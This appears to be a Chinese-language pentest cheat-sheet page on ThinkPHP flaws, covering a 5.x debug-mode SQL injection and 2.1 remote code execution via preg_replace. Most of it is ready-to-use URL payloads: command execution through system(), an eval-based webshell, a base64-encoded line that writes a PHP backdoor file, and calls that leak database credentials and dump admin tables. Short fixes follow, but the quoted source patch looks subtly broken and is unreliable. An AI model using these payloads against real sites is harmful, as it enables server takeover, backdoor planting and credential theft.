跳转至

Thinkphp

thinkPHP5X

该漏洞形成最关键的一点是需要开启debug模式,而Tp官方最新的版本5.0.9默认依旧是开放着调试模式

SQL注入:

index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
title

可在DEBUG页面看到数据库敏感信息 title

修复: 过滤特殊字符 关掉debug模式


thinkPHP 2.1

执行任意函数

index.php/module/aciton/param1/${@function_all()}
查看版本
index.php/module/aciton/param1/${@print(THINK_VERSION)}
title phpinfo
index.php/module/aciton/param1/${@phpinfo()}

列文件

index.php/module/action/param1/{${system($_GET['x'])}}?x=ls -al

菜刀

index.php/module/action/param1/{${eval($_POST[s])}}
写马
fputs(fopen(base64_decode("bW0ucGhw"),"w"),base64_decode("PD9ldmFsKCRfUE9TVFtjXSk7Pz4="))

base64_decode("bW0ucGhw")解码后是mm.php

base64_decode("PD9ldmFsKCRfUE9TVFtjXSk7Pz4=")解码后是<?eval($_POST[c]);?>
PS: 1.使用THINK_VERSION可以获取Thinkphp的版本号

如:/index.php/module/action/param1/$%7B@print(THINK_VERSION)%7D

2.使用C方法,获取数据库配置相关信息:C(DB_NAME)、C(DB_HOST)、C(DB_USER)、C(DB_PWD)等

如: /index.php/module/action/param1/$%7B@print(C(db_name))%7D

3.使用D方法或者M方法,查询数据库,最典型的使用方式var_dump(D(Admin)->select()),能够查询出管理员信息,当然,表名需要猜一下,一般是admin,user等。

如:/index.php/module/action/param1/$%7B@print(var_dump(D(Admin)->select()))%7D

4.利用PHP在“·”(Tab键上面的键,URL编码后为%60)之间的内容可以当做命令执行的方式,不管是windows还是Linux下,都可以执行cmd或者是Shell命令。

如:

index.php/module/action/param1/$%7B@print(%60dirls%60)%7D ---------- 在windows下

index.php/module/action/param1/$%7B@print(%60ls%60)%7D -------------在linux下

可以获取目录内容

修复: 用户可下载官方发布的补丁:

http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838

或者或者直接修改源码: 将/ThinkPHP/Lib/Core/Dispatcher.class.php文件中的

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
修改为:
$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2';', implode($depr,$paths));
preg_replace第二个参数中的双引号改为单引号,防止其中的php变量语法被解析执行